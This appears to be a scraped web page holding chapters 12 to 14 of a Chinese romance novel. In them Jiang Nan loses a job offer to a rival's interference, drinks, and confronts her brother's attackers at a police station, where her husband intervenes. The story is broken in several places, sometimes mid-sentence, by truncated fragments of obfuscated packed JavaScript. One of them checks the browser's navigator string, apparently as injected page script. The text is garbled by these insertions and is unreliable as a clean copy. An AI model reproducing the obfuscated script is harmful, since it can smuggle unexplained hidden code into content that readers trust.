姜南神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜菀葶挠了挠头,嘿嘿一笑,“我班都没上过,哪能给你提建议,你可是做到高管的女人。” “不是,你才做完手术没几天,就急着找工作啦?”姜菀葶拉了一把椅子坐下,“至少休养一段时间,再从长计议吧?” 姜南不太在意的说:“又不是什么大事。再说,简历投出去,还得等通知,过了面试、复试的环节之后,还要多家公司进行比较筛选。这是一个漫长的过程,事不宜迟,得尽早开展。” 姜菀葶啧了声,“是我格局小了。” 姜南:“?” 姜菀葶不好意思的笑:“我还以为你在为昨晚的事情伤心难过呢,没想到你根本不care,已经在全力以赴的筹划工作了。” “怎么可能完全不care。”姜南扯动唇角,重新坐回到电脑前,在键盘上敲敲打打,直到简历投送完毕,她敲下空格键,靠向椅背,轻吁一口气,道,“但要摆脱情绪泥沼,最好的办法就是向前走,走到新的人生道路上。我要重回职场,为人生寻找新的支点。” 姜菀葶捣蒜般点头,将车厘子捧到姜南眼前,虔诚道:“女王,您请享用。” 12.012 会议室内。 财务总监对姜南道:“我们这边没什么问题了,你有什么疑问吗?” 姜南摇头。 财务总监很满意她的利落,“我这边正缺人用,明天上午九点来报道,办理入职手续。” 姜南点头,“好的。” 姜南收拾自己的资料时,人事总监的手机响起。 她拎起包,对两位总监微笑颔首,转身离去。 刚走到会议室门边,拉开大门时,身后传来人力资源总监的声音:“等等——” 姜南顿住步,回头看去,眼神疑惑。 人力资源总监清了清嗓子,道:“很抱歉,刚才是我们冒昧了,最终录用人要递交上层决定,你先回去等通知。” 姜南:“??” 财务总监也懵了,“什么情况?朱总不是给了我现场拍板的权力吗?” “这是陈总下的通知。”人力资源总监把来电记录给她看了眼,“你有任何疑问,等会儿去跟陈总讨论。” 他再次看向姜南,重复道:“回去等通知吧。” 财务总监撇了撇嘴角,虽面色不快,没再说话。 姜南不是初入职场的小白,面对突如其来的改口,她很清楚,这不是回去等通知,而是把她的入职抹杀了。 横竖没有机会,姜南不打算憋这口窝囊气。她声线温软,但自带锋芒:“求职者的时间也很宝贵,贵司既然有内定人选,就不应该通知我们来面试。这么大费周章,不知道是要作秀给哪位领导看?我会投诉到丽檬总部,并如实在互联网上发布这次面试经历,让大家都避开丽檬这个坑。” 说完,不再听他们废话,转身离去。 两位总监面面相觑。 财务总监低声问:“到底怎么回事?” 人事总监摊手:“我哪知道,陈总刚才突然通知我,录用者不能是姜南。” “嚯!这姜南到底什么来头,还被陈总关照封杀?” “你去问问呗。” 她真的很讶异,当即电话过去询问:“陈总,我打算录用的人,怎么被你给否了?我这边还有一大堆工作等着新人来接手呢。” 陈总:“你换个人,谁都行,姜南不行。” “为什么?她得罪你啦?” “我不认识她。这是周言熙的要求,犯得着因为一个小岗位得罪人吗?用谁不是用。” “……好吧。”夏宇医疗可是公司长期合作的甲方,财大气粗,周言熙是夏宇的大公主,真没必要得罪。 这件事就此揭过,财务总监徐莱在另外几名面试者中选人。 徐莱并没有把姜南的威胁放在心上。且不说她一个小小求职者掀不起什么风浪,真去网上发布负面舆论,公关部稍稍出手就能压制。就算她去投诉闹腾,也是上层意思,跟她没关系。 当天下班后,徐莱开车回家路上,意外接到老同学的电话。 “姜总真要去你们那边就职啊?”刘家逸开门见山的问。 徐莱笑:“你以前跟她关系是有多好?上午说那么多好话,下班了还来关心。” 徐莱想到姜南清秀可人的模样,又想起刘家逸还是个光棍,调侃道:“哎呀,难不成你暗恋她?” 刘家逸被噎了下,转瞬火烧屁股般,急吼吼道:“你不要乱说!姜总是我们老板娘!人家是蒋总媳妇!” 徐莱恍惚了下,差点跟前方来车撞上,紧急拐弯后,攥紧方向盘,难以置信的问:“你说谁?蒋总?你们创行老大蒋弈行?” “那不然?” “靠!姜南是创行老板娘!?”徐莱直拍方向盘。 难怪,这位老同学在上午的背调通话中那么谄媚,还让她带话问好。 “富太太是有什么特殊癖好吗?居然来我这边应聘一个基础财务岗?” “我也纳闷,可能想体验生活?” “糟!她被PASS了!我居然错过了跟大佬太太套近乎的机会!……不止,我好像还得罪她了!不会找我麻烦吧?” “你怎么得罪她了?”刘家逸问。 “就……没录用她啊……”徐莱含糊其辞道。 她已经从震惊中缓过神。能坐上高管位置的都是人精,她很快意识到这件事不简单。前不久小道媒体还在散布周言熙跟蒋弈行的绯闻,这怕是小三跟正宫在打架,殃及池鱼? “姜总没那么小气。”刘家逸安慰道,“本来就是体验生活,又不是真的需要那份工作。” 徐莱跟刘家逸结束通话后,想了一路,抵达家中时做了决定。 虽然周言熙是夏宇大公主,背景深厚。但姜南到底是蒋太太,有法律认证的红本本。 以创行科技如今的声势,他不至于为了周言熙,抛弃发妻。对一个正处于风口上的大佬来说,德行有亏,以后都上不了主流台面。 徐莱有姜南的联系方式,主动给她打电话。 “喂,哪位?”姜南问。 徐莱微笑道:“是我,丽檬财务总监,徐莱。” 姜南不想多说,徐莱马上道:“上午的事,我向你道歉。我们也是情非得已,其实公司不是有内定人选,是有人不想让你干。” “谁?”姜南问。 她对丽檬完全陌生,还有人给她使绊子? “周言熙对分管业务的副总施压,那边才把你否了。”徐莱坦白道,“夏宇是公司长期大客户,开罪不起。” 姜南:“……” “我就是想让你知道,真不是公司故意溜你们玩……” “明白了,谢谢。” 姜南放下手机,端起桌面上的茶杯,喝了一口。觉得不是滋味,又拿起啤酒瓶,给自己倒满一杯。她朝对面的姜菀葶和徐思睿举起酒杯,三人碰杯。 姜南一满杯酒下肚,一滴不剩。 姜菀葶道:“姐,你可悠着点。喝急了容易上头。” “啤酒而已,不碍事,我以前都当水喝。”姜南笑笑,又给自己倒了一杯。 三人围坐火锅桌旁,红汤锅翻涌沸腾,飘出的热气都带着麻辣鲜香的味道。 姜菀葶给姜南夹了几片涮好的牛肉,“这家是屠宰场运来的鲜牛肉,口感很嫩。” 徐思睿笑道:“上次我带葶葶过来吃,她大呼过瘾,一直念叨着要带姐姐过来尝尝。” 姜南把裹了香油的牛肉送入口中,确实紧致鲜嫩,口感绝佳。但她吃不出快乐的感觉,心里始终压着一口闷气。 这几天接连面试两家公司,都失败了。 除了丽檬,另外一家是信贷公司,被一个二十出头的小姑娘给PK下去。 原本想吃个火锅,给自己打打气,结果丽檬总监的一通电话,让她如鲠在喉,比面试失败更憋屈。 姜南习惯把心事闷在肚子里,什么都没说,只是手中酒杯不停。 喝到第三瓶啤酒,连姜菀葶都忍不住劝她,“少喝点嘛,喝饱了都吃不下东西。” 徐思睿趁着酒过三巡,劝道:“姐,你不如找蒋总聊聊,让他给你启动资金,自己当老板,随便干点什么都比去上班强。” 姜南笑了下,唇角泄出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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身穿白色防护服的蒋弈行,走到多模态监测屏前,屏幕上跳动的橙色波形是肌电信号。 “蒋总,抓握动作的力反馈仍有300毫秒延迟。” 测试员手腕处贴着用于采集基础生理数据的传感器贴片,正在反复抓握橡胶球,仿生手的铝合金指节随着肌肉收缩规律开合。 彭林杉在门边踟蹰片刻,还是蒋弈行先看到他,凌厉的眉峰下压,目光带着询问。 彭林杉小跑上前,走到蒋弈行身旁,低声道:“蒋总,徐思睿给您打电话,您没接到,打到我这里来了。” 蒋弈行目光冷沉,修长手指在操作台敲了下:“什么鸡毛蒜皮的事,都来找我汇报。” “不是……就,就是跟南姐有关……我才跑这一趟……”彭林杉大气都不敢出,赶忙添油加醋的为自己辩解,“他说南姐喝多了,身体不适……可能要去医院,我怕耽误了……” 蒋弈行脸色阴晴不定,转过身,对小组负责人道:“准备进行压力测试,明天给我提交结果。” 说完,转身离去。 彭林杉亦步亦趋的跟在蒋弈行身后。 走出实验室,蒋弈行脱掉白大褂,随手丢给彭林杉,问道:“她去哪家医院了?” “……”彭林杉愣了下,仔细回想,差点拍大腿。 徐思睿没提去医院,这是他编的。 还好他的措辞很严谨,他说的是可能…… 蒋弈行没有继续追问,回到办公室后,拿起手机给姜南打电话。 拉长的铃声突然暂停,变成短促的声音,伴着电子音提示:“您好,您所拨打的电话正在通话中……” 这是把他挂了。 他点开通讯录,给姜菀葶打过去。 这次很快被接通。 “你姐在哪儿?”蒋弈行问。 “……”姜菀葶沉默了几秒,道,“春江路派出所。” 13.013 墨蓝色夜空,铅云低垂,几颗稀疏的星辰若隐若现。 被夜幕所笼罩的城市,并没有呈现出夜的寂寥,反而更显繁华绮丽。 霓虹光影在高耸入云的钢筋水泥中流淌,八车道的主干道上川流不息,车灯堆叠成了一条长长的火龙。 姜南坐在车子后座上,听到前排的姜菀葶跟人通话时提到派出所,脑子晕晕乎乎的问了一句,“是爸妈吗?” “哪敢让他们知道,多一事不如少一事……”姜菀葶心中纠结了几秒,没有说这是蒋弈行的来电。 此时,徐思睿开车,送她们俩去派出所。 她们刚从火锅店走出来,就接到警方电话,说她们的弟弟姜泽旭跟人打架斗殴。 姜泽旭今年上大一,是姜家拼三胎拼出来的儿子,父母看得比眼珠子还要宝贝。不过,上头有两个姐姐镇压,他不仅没有被溺爱成嚣张跋扈的性子,反而格外老实本分。 当姜南接到电话,说她弟弟打架闹事,还以为是什么诈骗新套路,再三确认是真警方后,立即跟蒋菀葶一起赶往派出所。 车子在派出所门外停下,姜南下车时胃里一阵恶心,强忍住不适。 为了醒酒她喝了一整瓶电解质水,才让脑子没那么昏沉。 几人来到调解室。 姜泽旭坐在长桌旁,伤口做了基础处理,原本还算英俊的脸庞,此时青一块紫一块,都快看不清样子。坐在他对面的三名年轻男性,毫发无损,甚至在谈笑风生。 一旁调解的警官走上前道:“请问是姜泽旭的家人吗?” 姜南点头,“我是他姐。” 就在她应声的瞬间,一旁的男生轻佻的吹了一声口哨,冲姜泽旭坏笑道:“你姐还挺漂亮,是我喜欢的菜。” 姜泽旭手臂青筋暴起,低喝:“你给我放尊重点!” 警察回头警告道:“不要惹事。” 男生无辜讪笑,“哎呀,我怎么了嘛,我态度这么好,又没凶,又没动手,我只是发自内心的觉得这位姐姐漂亮啊。” 姜南看向他,微微一笑:“我懂,像你这种心理上还没断奶的年纪,就是容易产生恋母情节。” 男生面色一沉,之前的轻佻被憋成一脸菜色。 姜南下巴轻抬,睥睨他:“我倒是不介意多个蠢儿子,叫声妈来听听?” 姜菀葶没憋住,笑出声来,连之前气急的姜泽旭嘴角都抽了抽。 男生气得快要跳起来,他身旁的人冷道:“行了,别丢人现眼。” 他恨恨的瞪了姜南一眼,一屁股坐回去。 姜菀葶询问警官:“到底是怎么回事?不是说打架斗殴吗,为什么只有我弟弟一个人受伤?” 警官道:“是他们打架斗殴,你弟弟是被打的。不过你弟弟刚才同意了和解。” “宇辰——”一道女声突兀响起,纤细身影冲入室内,径自跑向那三人,站定在中间男生的旁边,将他左看右看,紧张道,“他们说你打架被抓起来了,到底怎么了?发生什么事了?你受伤了吗?” 男生扯动唇角,带着一丝不屑,又有几分拿乔道:“你来干什么?不是再也不想看到我吗?” “……行!我走好吧,王辰宇,我这就走!”女人眼眶发红,转身就要走。 还没迈出步,被男生猛地抓住手腕。 姜南看着眼前这一幕,小年轻的拉扯她不感兴趣,甚至头疼。但她发现,自从这个女生出现后,她弟弟的目光就黏在她身上,配上那一脸伤,就像个破碎小狗。 王宇辰攥着女生手腕,露出一丝残忍的笑,“别着急走啊,你还没关心对面那个呢。” 女生顺着他的目光看过去,姜泽旭脸上的伤,令她倒吸一口凉气。姜泽旭当即别过脸,眼里满是逃避。 “这是你打的?”女生当即质问王宇辰。 王宇辰无所谓的笑,“谁叫他不自量力,敢动老子的女人。” “我跟他不是你想的那样……” “别以为我不知道,你们一起去爬山,一起在外面露营过夜,你这么朝三暮四勾勾搭搭,当我是死人呢?” “我受够你了!”女生气急,挣开他的手,“你就是个疯狗!” 女生走到姜泽旭旁边,眼泪滚落,哽声道:“对不起……都是我的错……” 姜泽旭垂下眼,看着自己的球鞋,声音干涩:“跟你没关系。” 她蹲下身,仰望姜泽旭,“都是因为我才发生这种事……你原谅王宇辰好不好……”她哭着恳求,“我知道他打你不对,我向你道歉,你别起诉他……” “郑安沁!我不需要你求他!”王宇辰起身怒喝,“老子已经摆平了!两百万和解!这穷鬼同意了!” 女生擦掉眼泪,怔怔起身。 姜泽旭强装无所谓的耸肩,“是啊,你不用为难,我同意和解了。” “我不同意。”姜南道。 “我也不同意!”姜菀葶扬声道,她没有姜南那么冷静,指着那三人道,“你们这几个兔崽子,把人打成这样,以为赔钱就完了?我呸!” 郑安沁无措的看向姜泽旭。 王宇辰盯着姜泽旭,阴恻恻的沉声道:“你想好了?不和解的话,你一毛钱都拿不到。真要跟我作对,以后在学校里,你走路吃饭睡觉都要小心点哦。” “王宇辰,我录音了。”姜南接过话,举起手机,道:“你已经对我弟弟进行事实上的胁迫。以后我弟弟发生任何意外,你都脱不了干系。” 姜南扭头看向警官,“你们都听到了,他在威胁恐吓我弟弟。这调解室有摄像头吧,我要求把这一段保存下来。” 警官对王辰宇警告道:“年轻人,不要口无遮拦。” 王宇辰轻哼一声,阴冷的目光盯着姜泽旭。 郑安沁还在姜泽旭身旁,见状又拉着他的衣袖,哽声道:“就当是我求你,和解好不好?闹大了对我们大家都不好。” 姜泽旭深吸一口气,扭头对姜南道:“你们不要管,我已经决定和解了。” 姜菀葶大步上前,抓着姜泽旭的衣领道:“为什么要和解?全家人都会给你撑腰,你有什么好怕的!” 徐思睿赶忙上前,拉下姜菀葶的手,劝道:“弟弟已经成年了,有自己的想法很正常。” 姜南比姜菀葶冷静,但她也无法接受姜泽旭就这么和解。 她对姜泽旭道:“你先跟我出来。” 姜南把姜泽旭带出调解室,一直走出派出所外,确保没有旁人在。 路灯下,姜泽旭的脸半明半暗,衬得那些伤痕更加可怖。 一阵冷风刮过,姜南轻吸一口气,问:“疼吗?” 姜泽旭下意识点头,随即又摇头,道:“就算是验伤也是轻微伤,不能把他们怎么样的……他们有钱有背景,可以请最好的律师,还可以找法医的关系……” 他垂下眼,低声道:“姐,起诉只是逞一时之气,没用的。” “你不试试,怎么知道没用?”姜南看着姜泽旭。 她知道弟弟是个温厚老实的人,上半年在校外被摩托车撞了,胳膊和腿严重擦伤,对方是外卖骑手,他觉得人家不容易,摆摆手就算了。医药费都还是他自己掏的。 可是老实人就该被欺负吗? 街对面,一辆黑色大G在路边停下。 蒋弈行刚下车,就看到了站在派出所外的姐弟两。 街道上车辆来往不止,不时有车灯扫过。 姜南背对街道,盯着姜泽旭问:“你是觉得起诉没用,还是不想让那个女孩为难?” 姜泽旭目光闪躲,左顾右盼,没有应声。 “你难道没看出来,她喜欢的是那个打你的人?” “你为什么会被打?就因为你跟那个女孩一起爬山露营?” “你只是他们感情游戏里的配角,不,连配角都不是,你是他们感情拉扯的道具!” 姜泽旭始终没有做声,姜南的情绪却罕见的激动了。 “你喜欢那个女孩是不是?你觉得你的喜欢有用吗?” “你受伤了,她在乎你疼不疼吗?她在意你的感受吗?她只在乎那个打人的会不会留案底!” “你挨打的时候,她没有出现。现在那个人被抓了,她跑来为他求情。” “你能不能清醒一点?有骨气一点?能不能自己去捍卫自己的尊严?!” 姜南从没有对姜泽旭说这么重的话。 姜泽旭怔怔的看着她,心防彻底被这通狂轰乱炸给轰开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我没有想过要靠你,我不会成为你的累赘。但是爸妈年纪大了,手里积蓄有限,等我毕业了,没钱寸步难行。不是每个人都能去创业,还能成为大老板。我连名校都考不上,读的是调剂的专业。我就是一个普通人。我将来还要结婚生孩子,要养家糊口,我需要钱。你说我没有尊严,无所谓。我要钱,说句难听的,这两百万是我光明正大拿到手的,我没有拖累家里任何一个人。”姜泽旭深吸一口气,“请你们,不要干涉我。” 姜南怔怔的看着弟弟瘦高的背影,他没有回头,大步迈上台阶,进入派出所。 姜南一直拿他当小孩子看,原来他什么都懂。 这两年她跟父母之间不是没有摩擦。往往都是爸妈对她和蒋弈行耳提面命,要照顾弟弟,等弟弟毕业了好好为他谋划。她不想成为蒋弈行眼里的伏弟魔,对此很抗拒,私底下还跟父母发生过争吵。 姜南没有去追姜泽旭,她呆呆的站在原地。一阵冷风刮过,似乎是觉得冷,又似乎是没有力气站立,她蹲下身,坐在了台阶上。 姜南呆呆的望着前方,看着车流往来。 一双黑色皮鞋出现在眼前,恍惚的姜南压根没注意到,直到一只有力的手臂将她从台阶上拉起来。 姜南眼神聚焦,看到突然出现的蒋弈行。 她突然笑了,抬手拍了拍蒋弈行的胸膛,“你来了啊,来的正好……” 蒋弈行闻到一股浓重的酒味。 姜南一只手抓着蒋弈行的领口,一只手指着派出所大门,命令道:“去!帮我弟弟解决那几个傻逼!玩意儿!” 蒋弈行:“……” 他没打算袖手旁观,但他很少见到姜南这颐指气使的态度。 蒋弈行有点意外又有点玩味的看着她。 姜南以为他不愿意,突然逼近,盯着他,“你要不帮我弟弟解决,我就让你好看!” 蒋弈行下颚微抬,看着近在咫尺的红唇,喉结抽动着,但脸色一如既往的淡定,嗓音低醇问:“你要怎么让我好看?” “我有的是办法!”姜南冷哼。 以前她总是诸多顾虑,怕影响他,怕麻烦他。现在都要离婚了,她还怕什么。 反正她在这个婚姻里已经落到一无所有。凭什么让他好处占尽,逍遥自在。 姜南又往前一步,她的身体已经贴上了蒋弈行的身体,但她似乎对此毫无知觉,甚至笑着威胁道:“我要去睡个男大,把你绿的全世界都知道!” 14.014 蒋弈行及时伸手,把姜南摇摇欲坠的身体抱住。 “你听到没有?”她拽着他的衣领,细软的嗓音娇叱道。 蒋弈行深吸一口气,舌尖抵着后牙槽,消化了好一会儿,才把骤然涌起的怒意压下去,点了点头,道:“我听到了。” 一阵风刮过,姜南打了个寒颤。 不知是这夜风太冷,还是男人的眼神太阴沉。 姜南推开他,转身迈上台阶,还没进大门,一股熟悉的冷冽淡沉的草木清香包裹而来,接着周身一暖,蒋弈行把大衣外套搭在了她身上。 之前车上开了暖气,又因酒精发热,她把外套脱了,身上是件翻领的珍珠色羊绒衫。 蒋弈行揽上她的肩膀,道:“你的威胁非常有效。” 姜南:“……” 他拥着她往派出所大门走去。 调解室内,气氛平静而压抑。 双方达成和解,警方将和解书打印出来后,分别拿给他们签字。 姜菀葶坐在一旁,恨铁不成钢的看着姜泽旭,但没再说话。连姜南这个长姐都劝不动,她知道自己说什么都没用。 姜泽旭拿起笔签名,“姜”字刚写完,一只手压在了纸张上——手掌宽大,手指修长,白皙手背上浮着淡青色血管——这只手几乎盖住了大半张纸。 姜泽旭看着突兀出现的手,缓缓抬头,看到了蒋弈行。 “你是成年人,我不想干涉你的事。”蒋弈行清冷又理性的声音响起,“但是你姐不接受你和解。作为姐夫,我也不接受。” “可是……”姜泽旭心绪翻涌,不知道该说什么。 他对姐夫,从来很敬畏。他气场强大,陪姐姐回娘家也很少讲话,给人的感觉强势又冷漠。两人几乎没什么互动交流,对他来说,这个姐夫就是不太熟悉的亲戚。 蒋弈行的目光压下来时,姜泽旭瞬间屈服了。 他抿了抿唇,什么都没说,算是默认。 蒋弈行拿起那张和解书,随手撕碎后扔进垃圾篓。 室内气氛再次僵持起来。 王宇辰豁然起身,指着蒋弈行道:“你TM谁啊,在这里多管闲事!” 一个高大魁梧的男人出现在王宇辰身侧,在所有人都没反应过来的时候,扣住他伸出的手指,伴着清脆的骨骼脆响声,王宇辰发出惨叫,双膝一软,跪倒在地。 “干什么干什么!不要在这里闹事啊!”警员快步上前阻止。 在王宇辰脸色煞白冷汗直流时,男人松开了他的手。 姜南知道他是蒋弈行的司机,也是保镖,周正,一名退役特种兵。 王宇辰脸色阵青阵白,痛的说不出话,咬紧牙关都没忍住生理性泪水。 他身旁的两个朋友赶忙将他扶起来,连退几步,紧张又戒备的盯着这个强壮的平头男人。 王宇辰直到被两名好友撑住,找回一点安全感,才从被袭击的恐惧中回神,哆哆嗦嗦道:“我会告你的,我一定会告你的……” 他用另一只手拿出手机,拨下号码,带着哭腔道:“爸……我的手指被人折断了……春江路派出所……快来啊——” 周正浑然不在意,他甚至走回来,替蒋弈行拉开一张椅子。 蒋弈行漫不经心的问了句:“真断了?” 周政:“没有,只是给他点教训。” 蒋弈行走到姜南身旁,扶着她的肩膀,将她摁到椅子上坐下。 “……”姜南本就晕晕乎乎,没有拒绝。 周正心领神会,又搬了一把椅子,放在姜南身旁,蒋弈行这才施然落座。 徐思睿上前打招呼:“蒋总。” 蒋弈行淡淡颔首。 一旁警员看着蒋弈行那张脸,越看越觉得眼熟。直到那声蒋总,他猛地想起来,这是创行科技的老板,最近经常在新闻媒体上露脸。作为政府重点关注的科创企业,市委省委的领导频频去造访。申州的大老板很多,但是像他这么年轻帅气又备受瞩目的,只有这一个。 眼看牵涉越来越广,警员深感头痛,默默离开调解室,去给上级领导打电话。 室内陷入诡异的僵持中。 原本以为用钱就能轻松摆平的浑小子,现在都不敢叫嚣,只能等家人来处理。 郑安沁不知道什么时候出去了,再回来时,手里拿着药店买来的应急物品,坐在王宇辰身旁,小心翼翼的为他涂抹药膏,接着绑上绷带固定受伤的手指。 她什么话都没说,只有眼泪啪嗒啪嗒往下掉。 姜南看到这一幕,又看向自己的弟弟。 恰好,姜泽旭收回目光,鸵鸟一般将脑袋压在臂弯里,伏在桌面上。 姜南收回目光时,又恰好与蒋弈行视线交汇。 这时候她才后知后觉想到,他怎么会来这儿? 蒋弈行似乎知道她在想什么,抵进她耳畔,低声道:“妹妹说的。” 低醇的嗓音裹着一股灼热的气息钻入她耳道,姜南痒的瑟缩了下,想往一边躲,男人适时伸出手,拥住她的肩。 在旁人看来,这就是小夫妻在说悄悄话,再正常不过。 只有姜菀葶在心里暗暗祈祷,希望事后姐姐别怪她通知蒋弈行。 那一刻她也是存了私心的,有蒋弈行出面,无论什么麻烦,总归是要好解决一些。 不多时,那三个浑小子的父母,学校方面领导,派出所所长和市局领导先后赶到。 市局领导听说蒋弈行的弟弟被殴打,怕没处理好,他到一把手跟前叫冤,撂下电话就赶赴现场。 三人见阵仗这么大,心里更怕了。王宇辰那两个跟班,知道他家里有钱能摆平,才敢这么肆无忌惮。没想到平日里看着老实穷酸的姜泽旭,竟然有这么硬的靠山。 校方领导表态:“我们学校对聚众斗殴违法乱纪的行为零容忍,绝不姑息。这几名学生严重触犯校规,我们会给予开除学籍的处分。” 一直憋着气的姜菀葶,终于爽了一把。 蒋弈行不疾不徐道:“申州科技大学历史悠久,人才辈出,我司不少优秀员工都是申科大校友。我相信校方一定公正严明,维护每一名学生的合法权益。” “不是……我们就是闹着玩,根本没有下重手,平常在学校关系还挺好啊……是不是,姜泽旭……”其中一人看向姜泽旭的眼神都快哭了。 姜泽旭没做声,他走到他跟前‘噗通’一声跪下,哀求道:“我错了,求你原谅我这一次……大家都是同学,你高抬贵手好不好……我一定知错就改,痛改前非……” 姜泽旭有几分无措。 姜菀葶抬手,捏着姜泽旭肩膀道:“你是受害者,不要扛下施暴者的压力!” “爸……”王宇辰心慌的看着他爸王辉宏。 王辉宏眉头紧锁,一脸菜色。 王辉宏是个生意人,蒋弈行不认识他,但他认识蒋弈行。他现在都不是担心开除学籍,他担心这个无法无天的儿子,被折腾到里面去。这次殴打事件,他儿子是发起人,是主犯,很难善了。 王宇辰为了给自己扳回局面,颤巍巍伸出手,“爸……他……他们……折了我的手指……警察也在场,都看到了的……” 王辉宏走上前,“啪啪啪——”接连几个大耳刮子朝儿子脸上砸去。 王宇辰被打懵了,摔倒在地,耳膜嗡嗡作响,难以置信的看着他爸。 王辉宏厉声叱骂道:“我不求你多有出息,至少做个人吧!哪天成了社会败类,我就当没你这个儿子!” 王宇辰彻底怂了,平常替他扛事的父亲是第一次这么打骂他,他哭着道:“我就是一时冲动,我真的没想怎么样……我跟姜泽旭达成和解了,我们都签字了……” 王辉宏拿起桌面上的和解书,看过之后,拽着王宇辰走到蒋弈行跟前,踢了他一脚。 王宇辰应声跪地,脸上还带着火红的巴掌印。 “道歉!”王辉宏喝道。 王宇辰对蒋弈行道:“对不起,我知道错了……” 蒋弈行不耐烦的揉了下眉心,“你该道歉的人不是我。” 王宇辰膝盖转向,对姜泽旭道:“对不起,姜同学……是我气急攻心,误会了你,才做这种蠢事……请你原谅我这一次,我一定痛改前非……” 王辉宏对蒋弈行道:“都是二十不到的小伙子,他们已经受到了学校的严厉处罚,恳请蒋总高抬贵手,给年轻人一个改过自新的机会。你弟弟的医疗,以及后续身体有任何影响,我们一定负责到底。至于这个赔偿,两百万肯定不行,只要弟弟愿意和解,我们愿意支付两千万表示诚意。” “……”姜泽旭错愕的瞳孔微张,下意识转头看了 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“既然之前说好了赔偿费是两百万,就是两百万。”姜泽旭道。 “啊……”王辉宏愣住,半晌,点下头,“行,一切按照小同学的意思办。” 王辉宏转身拍向王宇辰脑门,“你小子运气好,遇到善良的姜同学!我天天教你,交友要交人品好的,你就跟那群混子一起!” 王辰宇看向姜泽旭的眼神再也没有了轻蔑,只有真心实意的感激。 没想到姜泽旭背景那么硬,为人处事却那么低调,现在不仅愿意和解,连送到手的钱都不要,只象征性的拿点和解费。 姜南突然道:“和解没问题,但这两百万只是王家的赔偿,另外两个人呢?” 那两人家境一般,本想靠着王家解决,眼下见浑水摸鱼不成,一番痛哭流涕的道歉之后,最终达成两人各赔偿五十万的方案。 等到姜南和弟弟妹妹一起走出派出所时,已是接近夜半12点。 姜南走路都在飘,脑子像是被泡在了酒精里,恶心又浑噩。作为长姐的责任感,让她吊着一口气撑到现在。刚才在调解室还喝了一杯咖啡续命,不然早就原地昏睡。 她迷迷糊糊道:“今天先这样,明天去医院做全身检查。” 姜泽旭默默点头。 又对徐思睿道:“辛苦你了,一直陪着我们,忙前忙后。” “我也没做什么,南姐就别客气了。”徐思睿笑笑,“我先送你们回家。” 一行人往徐思睿停车的地方走去。 “姜南。”男人清冽低沉的声音传来。 姜南循声看去,蒋弈行站在黑色大G车门边。 过了这么久,他居然还没走? 男人懒散的倚靠车门,手里夹着一支烟,清白烟雾飘散,那双幽深漆黑的凤眼穿过夜色,笔直看向她。 路灯投下的光,笼着男人一半身躯,映出他深邃的眉弓,高挺的鼻骨,半明半暗,就像充满诱惑的妖孽。 姜南朝蒋弈行走过去。 徐思睿道:“我们先上车吧。” 姜菀葶点头,走几步又往姜南那边看了看。 其实有时候她也理解姐姐,为什么色令智昏百般容忍,这臭男人的皮囊是真的很顶,绝对霸总界的天花板。 姜南走到蒋弈行跟前站定,从口袋里拿出一张纸递给他。 蒋弈行打开看,是一张复印的调解书。 姜南没有多说,转身离去。 蒋弈行抓住姜南的手腕。 她想挣开,但被紧抓不放。 酒精的后劲越来越大,一直强撑的精神也越来越涣散。姜南累了,懒得挣扎,索性靠在车门上。 深夜的街道,寒风吹着枯黄的落叶打旋。 时有车子疾驰而过,车灯伴着发动机的声音由远及近又远去。 “我要确定一件事。”蒋弈行手掌撑在她一侧车门上,高大身躯覆下的阴影,将女人纤薄身体完全笼住。 他伸出另一只手,转过她的脸庞,两人视线重叠,鼻尖几乎相触。男人灼热的呼吸喷薄在她脸上,肌肤泛起痒意。 他盯着她问,“现在还想去睡男大吗?”